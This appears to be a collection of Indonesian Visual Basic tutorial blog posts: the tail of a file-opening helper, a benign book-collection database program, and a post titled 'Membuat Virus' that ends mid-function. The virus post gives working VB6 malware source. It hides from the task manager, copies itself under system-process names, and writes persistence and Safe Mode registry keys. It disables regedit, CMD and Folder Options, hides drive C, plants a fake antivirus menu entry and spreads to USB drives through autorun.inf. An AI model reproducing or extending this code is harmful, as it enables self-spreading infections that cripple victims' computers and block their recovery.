lRet = GetSystemDirectory(sDir, Len(sDir))
sDir = Left(sDir, lRet)
lRet = ShellExecute(lHwnd, vbNullString, "RUNDLL32.EXE", "shell32.dll,OpenAs_RunDLL " & sTmpFile, sDir, lnShowCmd)
End If
Else
SHOW_ERROR:
If pbShowMessage Then
If sErrorMess = vbNullString Then
sErrorMess = "File Tidak diketemukan!" & vbCrLf & psTempFileCaption & vbCrLf & slpFile
End If
MsgBox sErrorMess, vbExclamation + vbOKOnly, "File Error"
End If
End If
utShellExecute = True
Exit Function
Salah:
lErrNum = Err.Number
sErrDesc = Err.DescriptionErr.Raise lErrNum, , App.EXEName & vbCrLf & "Public Function utShellExecute" & vbCrLf & "Error # " & lErrNum & vbCrLf & sErrDesc & vbCrL

End Function

Selesai, Semoga bermanfaat.
Bagikan

MyBooks Database

2008-08-28T03:10:00.019+07:00

Sekarang kita mencoba belajar Database visual basic, yaitu database dengan menggunakan Microsoft Office Acces sebagai sumber datanya.Program ini sebagai janji saya kepada beberapa pengunjung yang menanyakan mengenai database. Kita akan membuat sebuah aplikasi sederhana "Koleksi Bukuku" yang berfungsi untuk menyimpan daftar koleksi buku yang mungkin sangat banyak dan kita belum sempat melakukan inventarisasi terhadapnya.Saya sendiri sempat terkejut pada saat saya membuat project ini karena ketika saya memasukan data buku-buku saya eh..ternyata jumlahnya lumayan banyak yaitu 45 buku, bayangkan jika semua buku tersebut minimal harganya 25.000 sudah menghabiskan berapa rupiah nih ..???
Tapi semua buku pasti bermanfaat dan saya tentu tidak menyesal untuk membelinya dan memilikinya.
Thanks My Books.

Baik langsung saja yang dibutuhkan dalam project ini adalah :

satu form dengan nama main
satu dataenvironment dengan nama dataenvironment1
datareport dengan nama datareport1

Control yang ada didalam form, yaitu :

Imagelist1 sebagai penampung image untuk toolbar
Toolbar1 sebagai tempat menampung gambar yang akan dapat di klik langsung oleh user
frame1 sebagai tempat
tujuh Textbox yaitu txtjudul, txtreferensi, txtpenulis, txtcetakan, txtpenerbit, txtrecordaktif dan txtsearch
satu ComboBox yaitu cbosearch
satu CommandButton yaitu cmdcari
membuat Menubar untuk menampung File, Tambah, Hapus, urut sesuai Judul , urut sesuai Resensi dan seterusnya.

Fasilitas yang ada pada project sederhana ini adalah :

Pencarian
Tambah data
Hapus Data
Update data
Pembatalan data
Simpan data
Edit data
Menampilkan laporan yang lumayan tampilannya
Lebih fleksibel karena untuk koneksi ke database menggunakan kode dan tidak menggunakan Adodc yang saya rasa kurang fleksibel dalam koneksi database.
Navigasi (Next, Previous, First dan Last) yang diletakan di menubar sehingga lebih hemat tempat.

BACA DAHULU CODE-CODE DIBAWAH INI KHUSUSNYA PADA "MNUITEMREPORT" DAN "CASE LAPORAN". JANGAN JALANKAN JIKA BELUM DICOMPILE KARENA NANTI WALAUPUN SUDAH ANDA STOP PROJECT ANDA MAKA APLIKASI YANG BERADA DIFOLDER INI YAITU "KOLEKSIBUKUKU.EXE" AKAN DIJALANKAN !!!

BACA ALASANYA DI "MNUITEMREPORT" DAN "CASE LAPORAN".

Masukan semua kode di bawah ini dalam form

Option Explicit
Private WithEvents adoPrimaryRSdaftarBuku As Recordset 

Private Sub CboSearch_Click()
'jika cbosearch diklik
Select Case CboSearch


'memilih Judul
Case "Judul"
TxtSearch.Text = ""
TxtSearch.Enabled = True
TxtSearch.BackColor = vbWindowText
TxtSearch.SetFocus


Case "Referensi"
TxtSearch.Text = ""
TxtSearch.Enabled = True
TxtSearch.BackColor = vbWindowText
TxtSearch.SetFocus


Case "Penulis"
TxtSearch.Text = ""
TxtSearch.Enabled = True
TxtSearch.BackColor = vbWindowText
TxtSearch.SetFocus


Case "Penerbit"
TxtSearch.Text = ""
TxtSearch.Enabled = True
TxtSearch.BackColor = vbWindowText
TxtSearch.SetFocus
End Select
End Sub 

Private Sub DisableSearch()
TxtSearch.Enabled = False
TxtSearch.BackColor = vbWindowText
TxtSearch.Text = "Masukan Kata Kunci Pencarian"
CboSearch.Text = "Pencarian"
End Sub 

Private Sub Command1_Click()
If TxtSearch.Text = "" Then
Beep
TxtSearch.SetFocus
Else
'jika cbosearch dipilih
Select Case CboSearch


Case "Judul"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Judul like '*" + TxtSearch + "*'", , adSearchForward, 1


Case "Referensi"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Referensi like '*" + TxtSearch + "*'", , adSearchForward, 1


Case "Penulis"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Penulis like '*" + TxtSearch + "*'", , adSearchForward, 1
Case "Penerbit"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Penerbit like '*" + TxtSearch + "*'", , adSearchForward, 1
End Select


'jika data tidak ditemukan maka
If adoPrimaryRSdaftarBuku.EOF Then
MsgBox "Data yang anda cari tidak ditemukan", vbOKOnly + vbCritical, "Search"
adoPrimaryRSdaftarBuku.MoveFirst
TxtSearch.Text = ""
TxtSearch.SetFocus
End If
End If
On Error GoTo 0
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub Form_Load()
Dim db As Connection
Set db = New Connection
db.CursorLocation = adUseClient
db.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;" & _


"Data Source=" & App.Path & "\Daftar Buku.mdb;"


Set adoPrimaryRSdaftarBuku = New Recordset
adoPrimaryRSdaftarBuku.Open "TblDaftarBuku", db, adOpenStatic, adLockOptimistic


'Bind the ole controls to the data provider
Set txtJudul.DataSource = adoPrimaryRSdaftarBuku
Set txtReferensi.DataSource = adoPrimaryRSdaftarBuku
Set txtPenulis.DataSource = adoPrimaryRSdaftarBuku
Set TxtCetakan.DataSource = adoPrimaryRSdaftarBuku
Set txtPenerbit.DataSource = adoPrimaryRSdaftarBuku
'mengurutkan berdasarkan field referensi
adoPrimaryRSdaftarBuku.Sort = "Referensi"
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub 
Private Sub Form_Unload(Cancel As Integer)
adoPrimaryRSdaftarBuku.Close
End Sub
Private Sub MnuBatal_Click()
DisableSearch
'disable textbox
txtJudul.Enabled = False
txtReferensi.Enabled = False
txtPenulis.Enabled = False
TxtCetakan.Enabled = False
txtPenerbit.Enabled = False
'batalkan update kemudian menuju ke record pertama
adoPrimaryRSdaftarBuku.CancelUpdate
adoPrimaryRSdaftarBuku.MoveFirst
End Sub 
Private Sub mnuitemabout_Click()
DisableSearch
'menampilkan pesan mengenai aplikasi
MsgBox "Koleksi Bukuku Version 1.0.0 Oleh Joko", vbInformation, "Koleksi Bukuku"
End Sub 
Private Sub mnuitemadd_Click()
DisableSearch
'menambah data buku
adoPrimaryRSdaftarBuku.AddNew
'textbox enable/dapat diisi
txtJudul.Enabled = True
txtReferensi.Enabled = True
txtPenulis.Enabled = True
TxtCetakan.Enabled = True
txtPenerbit.Enabled = True
'pointer aktif di txtjudul
txtJudul.SetFocus
End Sub 
Private Sub mnuitemdelete_Click()
DisableSearch
If txtJudul.Text = "" Then
MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"
txtReferensi.Text = "."
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
Else
'Hapus daftar buku record aktif
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
End If
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub mnuitemedit_Click()
DisableSearch
'mengaktifkan textbox agar dapat diubah daftar bukunya
txtJudul.Enabled = True
txtReferensi.Enabled = True
txtPenulis.Enabled = True
TxtCetakan.Enabled = True
txtPenerbit.Enabled = True
End Sub
Private Sub mnuitemexit_Click()
'mengakhiri aplikasi
Unload Me
End Sub
Private Sub mnuitemreport_Click()
DisableSearch
'INI CODE UPDATE REPORT/LAPORAN YANG BURUK TETAPI EFEKTIF DAN TIDAK BIKIN SAYA PUSING HE..HE..,
'SAYA TULISKAN KARENA JIKA KITA BUKA LAPORAN DAN MENUTUPNYA KEMBALI KEMUDIAN KITA MELAKUKAN PERUBAHAN
'PADA DATA (PENAMBAHAN ATAU PENGHAPUSAN DATA) TERNYATA JIKA KITA BUKA KEMBALI LAPORAN
'MAKA DIHASILKAN LAPORAN YANG MASIH LAMA (BELUM MENGALAMI PENAMBAHAN/PENGHAPUSAN)
'SEHINGGA SAYA LAKUKAN CODE DIBAWAH INI YAITU MENUTUP APLIKASI DAN MEMANGGILNYA KEMBALI
'KEMUDIAN BARU LAPORAN (DATAREPORT1) DITAMPILKAN. MAAF MENGGUNAKAN JALAN PINTAS HE..HE...BAGI YANG TAHU BAGI ILMU DONG..


Unload Main 'MENUTUP APLIKASI
Shell App.Path & "\KOLEKSIBUKUKU.EXE" 'MEMANGGIL APLIKASI KEMBALI
DataReport1.Show 'MENAMPILKAN LAPORAN
End Sub
Private Sub mnuitemsave_Click()
DisableSearch
If txtJudul.Text = "" Then
MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"
txtReferensi.Text = "."
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
Else
'menyimpan daftar buku yang telah di inputkan
adoPrimaryRSdaftarBuku.Save
End If
txtJudul.Enabled = False
txtReferensi.Enabled = False
txtPenulis.Enabled = False
TxtCetakan.Enabled = False
txtPenerbit.Enabled = False
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub 
Private Sub MnuFirst_Click()
'menuju ke record pertama
adoPrimaryRSdaftarBuku.MoveFirst
DisableSearch
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub MnuLast_Click()
'menuju ke record terakhir
adoPrimaryRSdaftarBuku.MoveLast
DisableSearch
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub mnunext_Click()
'menuju ke record setelah/ke depan
adoPrimaryRSdaftarBuku.MoveNext
'jika record sudah sampai pada record yang terakhir maka akan berbunyi nada beep dan record yang aktif adalah record terakhir
If adoPrimaryRSdaftarBuku.EOF Then
Beep
adoPrimaryRSdaftarBuku.MoveLast
End If
DisableSearch
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub mnuprevious_Click()
adoPrimaryRSdaftarBuku.MovePrevious
'jika record sudah sampai pada record yang pertama maka akan berbunyi nada beep dan record yang aktif adalah record pertama
If adoPrimaryRSdaftarBuku.BOF Then
Beep
adoPrimaryRSdaftarBuku.MoveFirst
End If


DisableSearch
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub 
Private Sub MnuUpdate_Click()
DisableSearch
With adoPrimaryRSdaftarBuku
'mengedit data pada record aktif
.Clone
!Judul = txtJudul.Text
!Referensi = txtReferensi.Text
!Penulis = txtPenulis.Text
!cetakan = TxtCetakan.Text
!Penerbit = txtPenerbit.Text
'menyimpan hasil pengeditan data
.Update
End With


If txtJudul.Text = "" Then
MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"
mnuitemdelete_Click
End If
End Sub 
Private Sub MnuUrutJudul_Click()
'mengurutkan berdasarkan field Judul
adoPrimaryRSdaftarBuku.Sort = "Judul"
DisableSearch
End Sub
Private Sub MnuUrutpenerbit_Click()
'mengurutkan berdasarkan field Penerbit
adoPrimaryRSdaftarBuku.Sort = "Penerbit"
DisableSearch
End Sub
Private Sub MnuUrutPenulis_Click()
'mengurutkan berdasarkan field Penulis
adoPrimaryRSdaftarBuku.Sort = "Penulis"
DisableSearch
End Sub 
Private Sub MnuUrutReferensi_Click()
'mengurutkan berdasarkan field referensi
adoPrimaryRSdaftarBuku.Sort = "Referensi"
DisableSearch
End Sub

Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)


'menggunakan statemen select case
'initialisasi toolbar dan isi
Select Case Button.Key


Case "Tambah"
'disabled TxtSearch
DisableSearch


'menambah daftar koleksi buku
adoPrimaryRSdaftarBuku.AddNew
txtJudul.Enabled = True
txtReferensi.Enabled = True
txtPenulis.Enabled = True
TxtCetakan.Enabled = True
txtPenerbit.Enabled = True
txtJudul.SetFocus


Case "Simpan"
DisableSearch


If txtJudul.Text = "" Then
MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"
txtReferensi.Text = "."
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
Else
'menyimpan daftar buku yang telah di inputkan
adoPrimaryRSdaftarBuku.Save
End If


txtJudul.Enabled = False
txtReferensi.Enabled = False
txtPenulis.Enabled = False
TxtCetakan.Enabled = False
txtPenerbit.Enabled = False


LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition


Case "Hapus"
DisableSearch
If txtJudul.Text = "" Then
MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasit"
txtReferensi.Text = "."
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
Else
'Hapus daftar buku record aktif
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
End If


LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition


Case "Laporan"
DisableSearch


'INI CODE UPDATE REPORT/LAPORAN YANG BURUK TETAPI EFEKTIF DAN TIDAK BIKIN SAYA PUSING HE..HE..,
'SAYA TULISKAN KARENA JIKA KITA BUKA LAPORAN DAN MENUTUPNYA KEMBALI KEMUDIAN KITA MELAKUKAN PERUBAHAN
'PADA DATA (PENAMBAHAN ATAU PENGHAPUSAN DATA) TERNYATA JIKA KITA BUKA KEMBALI LAPORAN
'MAKA DIHASILKAN LAPORAN YANG MASIH LAMA (BELUM MENGALAMI PENAMBAHAN/PENGHAPUSAN)
'SEHINGGA SAYA LAKUKAN CODE DIBAWAH INI YAITU MENUTUP APLIKASI DAN MEMANGGILNYA KEMBALI
'KEMUDIAN BARU LAPORAN (DATAREPORT1) DITAMPILKAN. MAAF MENGGUNAKAN JALAN PINTAS HE..HE...BAGI YANG TAHU BAGI ILMU DONG..


Unload Main 'MENUTUP APLIKASI
Shell App.Path & "\KoleksiBukuku.exe" 'MEMANGGIL APLIKASI KEMBALI
DataReport1.Show 'MENAMPILKAN LAPORAN


Case "Ubah"
DisableSearch


'membuat textbox dapat di edit/ubah
txtJudul.Enabled = TruetxtReferensi.Enabled = True
txtPenulis.Enabled = True
TxtCetakan.Enabled = True
txtPenerbit.Enabled = True


Case "Batal"
DisableSearch
'disable textbox
txtJudul.Enabled = False
txtReferensi.Enabled = False
txtPenulis.Enabled = False
TxtCetakan.Enabled = False
txtPenerbit.Enabled = False
'batalkan update kemudian menuju ke record pertama
adoPrimaryRSdaftarBuku.CancelUpdate
adoPrimaryRSdaftarBuku.MoveFirst


Case "Update"
DisableSearch
With adoPrimaryRSdaftarBuku
.Clone
!Judul = txtJudul.Text
!Referensi = txtReferensi.Text
!Penulis = txtPenulis.Text
!cetakan = TxtCetakan.Text
!Penerbit = txtPenerbit.Text
'menyimpan hasil pengeditan data
.Update
End With


If txtJudul.Text = "" Then
MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"
mnuitemdelete_Click
End If


Case "Keluar"
'keluar dari aplikasi
Unload Me
End Select
End Sub 
Private Sub TxtSearch_KeyPress(KeyAscii As Integer)
KeyAscii = Asc(UCase(Chr(KeyAscii)))
On Error Resume Next
'jika menekan enter
If KeyAscii = 13 Then
TxtSearch.SetFocus
TxtSearch.SelStart = 0
TxtSearch.SelLength = Len(TxtSearch.Text)


'jika cbosearch dipilih
Select Case CboSearch


Case "Judul"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Judul like '*" + TxtSearch + "*'", , adSearchForward, 1


Case "Referensi"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Referensi like '*" + TxtSearch + "*'", , adSearchForward, 1


Case "Penulis"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Penulis like '*" + TxtSearch + "*'", , adSearchForward, 1


Case "Penerbit"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Penerbit like '*" + TxtSearch + "*'", , adSearchForward, 1
End Select


'jika data tidak ditemukan maka
If adoPrimaryRSdaftarBuku.EOF Then
MsgBox "Data yang anda cari tidak ditemukan",vbOKOnly + vbCritical, "Search"
adoPrimaryRSdaftarBuku.MoveFirst
TxtSearch.Text = ""
TxtSearch.SetFocus
End If
End If
On Error GoTo 0
End Sub 
Letakan kode di bawah ini di Data environment1

Private Sub DataEnvironment_Initialize()
'Selalu terkoneksi dengan database "Daftar Buku.mdb" asalkan masih dalam satu folder dengan aplikasi.
'Akibat jika anda lupa tdk menulis kode di bawah ini adalah
'- muncul pesan untuk memasukan alamat yang benar database pada saat akan melihat laporan/report,
'pesan ini muncul karena anda membuat folder baru untuk meletakkan project sehingga alamat tdk ditemukan
'untuk latihan jangan tulis kode di bawah ini tetapi melalui Dataenvironment1 klik kanan properties
'pilih alamat file database "Daftar Buku.mdb". Kemudian coba jalankan aplikasi dan
'pilih laporan maka laporan akan terlihat. Sekarang keluar dari VB dan pindahkan folder project anda
'ke sembarang (alamat baru), jalankan aplikasi database masih terkoneksi
'tetapi pada saat ingin melihat laporan akan muncul pesan error.


DataEnvironment1.DaftarBuku.ConnectionString = App.Path & "\Daftar Buku.mdb"


End Sub

Semoga bermanfaat
Download Data Base MyBooks
Bagikan

Membuat Virus

2008-08-21T00:03:00.007+07:00

Program kita kali ini adalah membuat Virus sederhana yaitu hanya mengganggu Microsoft Office Word dan Excel.Misalkan user membuka Word maka pada kertas tempat mengetik sudah muncul pesan dari Virus demikian pula jika membuka Excel maka pesan akan diberikan virus pada cell Excel. Sederhana sekali ya..ya memang virus ini tidak merusak dokumen/file-file dan tidak mengahpus file-file apapun jadi virus yang sangat baik hati..he..he..Jika anda ingin menambahkan fiture-fiture yang kejam silahkan saja tapi disini/virus ini tidak saya tuliskan bagaimana melakukan format atau delete file ataupun fiture penyusupan lainnya (sekarang belum saatnya).Silahkan dicoba dijamin 100% tidak ada data yang dihapus, ini hanya sebuah virus permainan saja kok..berani mencoba?

Yang dibutuhkan dalam pembuatan project ini adlah : 5 buah timer dan 1 drivelistbox
Pada proyek kali ini kita dapat belajar mengenai Windows Api Sendmessage, registry, dan Otomatisasi pada Word serta Excel. Semoga bermanfaat.

Masukan semua code di bawah ini pada form
==========================================

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 'pencari Kleas dan Window Name Suatu File
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 'sendmessage
Private Declare Function GetDriveType& Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) ' penghandel flashdisk
Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long 'exit windows
Private Const WM_CLOSE = &H10
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Const EWX_POWEROFF = 8

Option Explicit
Dim FWnd
Dim obj As Object
Dim doc As Object
Dim WrkBook As Object
Dim WrkSheet As Object
Dim i As Integer
Dim RegRun
Dim FolderStartUp
Dim FolderMyDocuments
Dim FolderTemplates
Dim FolderNetHood
Dim FolderPrintHood
Dim FolderFavorites
Dim FolderSendTo
Dim FolderPrograms
Dim FlashDisk

Private Sub Form_Load()
On Error Resume Next
'acak caption virus shg caption akan berubah setiap windows startup atau virus tereksekusi
Randomize
Me.Caption = Int(Rnd * 2221189331445#) 'silahkan masukan angka sesuka anda
'menggandakan diri
GandakefolderIstimewa
Me.Visible = False
App.TaskVisible = False 'virus tidak terlihat di task manager
InfeksiRegistry
End Sub

Sub BuatWord()
On Error Resume Next
Set obj = CreateObject("word.application")
Set doc = CreateObject("word.application")
Set doc = obj.Documents.Add
doc.Content = "VIRUS BERHASIL MENGINFEKSIMU - SALAM KENAL"
End Sub

Sub BuatXls()
On Error Resume Next
Set obj = CreateObject("excel.application")
Set WrkBook = obj.workbooks.Add
Set WrkSheet = WrkBook.worksheets.Add
WrkSheet.Cells(15, 4) = "VIRUS BERHASIL MENGINFEKSIMU - SALAM KENAL"
End Sub

Sub InfeksiRegistry()
On Error Resume Next
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe" & " """ & FolderMyDocuments & "\services.exe""" 'virus akan tetap berjalan pada tipe windows Safe Mode
RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell", FolderFavorites & "\SalamKenal.exe" 'virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon", FolderTemplates & "\smss.exe" 'smss.exe berjalan pada saat startup
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon", FolderSendTo & "\System.exe" 'System.exe berjalan pada saat startup
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind", 1, "REG_DWORD" 'search pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind", 1, "REG_DWORD" 'Ssearch pd star menu hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp", 1, "REG_DWORD" 'help suport pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp", 1, "REG_DWORD" 'help suport pd star menu hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\Control Panel\Colors\WindowText", "255 0 0", "REG_SZ" 'DEFAULT TEKS MENJADI MERAH
RegRun.regwrite "HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\", FolderFavorites & "\SalamKenal.exe" 'Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak di Folder Favorite
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu", 1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu", 1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun", 1, "REG_DWORD" 'Autorun pada CD atau USB
End Sub

Sub GandaKeFlashDisk()
On Error Resume Next
If Dir(FlashDisk & "\Winlogon.exe") <> "Winlogon.exe" Then 'mengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada kemudian
FileCopy FolderStartUp & "\Winlogon.exe", FlashDisk & "\Winlogon.exe"
SetAttr FlashDisk & "\Winlogon.exe", vbHidden + vbSystem + vbReadOnly
End If
BuatFileAutorunInf
End Sub

Sub BuatFileAutorunInf()
'membuat file Autorun.inf ke flashdisk yang berfungsi agar setiap flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus (winlogon.exe) akan tereksekusi
On Error Resume Next
Open FlashDisk & "\Autorun.Inf" For Output As 1
Print #1, "[AutoRun]"
Print #1, "Icon=Winlogon.exe" 'Agar FlashDisk Memiliki Icon Sama dengan Virus
Print #1, "Open=Winlogon.exe"
Print #1, "ShellExecute=Winlogon.exe"
Print #1, "Shell\Open\Command=Winlogon.exe"
Print #1, "Shell=Open"
Close #1
SetAttr FlashDisk & "\Autorun.Inf", vbHidden + vbSystem + vbReadOnly
End Sub

Sub GandakefolderIstimewa()
On Error Resume Next
Set RegRun = CreateObject("WScript.Shell")
FolderStartUp = RegRun.specialfolders("StartUp")
FolderMyDocuments = RegRun.specialfolders("MyDocuments")
FolderTemplates = RegRun.specialfolders("Templates")
FolderNetHood = RegRun.specialfolders("NetHood")
FolderPrintHood = RegRun.specialfolders("PrintHood")
FolderFavorites = RegRun.specialfolders("Favorites")
FolderSendTo = RegRun.specialfolders("SendTo")
FolderPrograms = RegRun.specialfolders("Programs")
On Error Resume Next
'membuat virus dengan nama winlogon.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderStartUp & "\WinLogon.Exe"
SetAttr FolderStartUp & "\Winlogon.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama services.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderMyDocuments & "\services.Exe"
SetAttr FolderMyDocuments & "\services.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama smss.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderTemplates & "\smss.Exe"
SetAttr FolderTemplates & "\smss.Exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama csrss.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderPrintHood & "\csrss.Exe"
SetAttr FolderPrintHood & "\csrss.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama Isass.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderNetHood & "\Isass.Exe"
SetAttr FolderNetHood & "\Isass.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama SalamKenal.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderFavorites & "\SalamKenal.Exe"
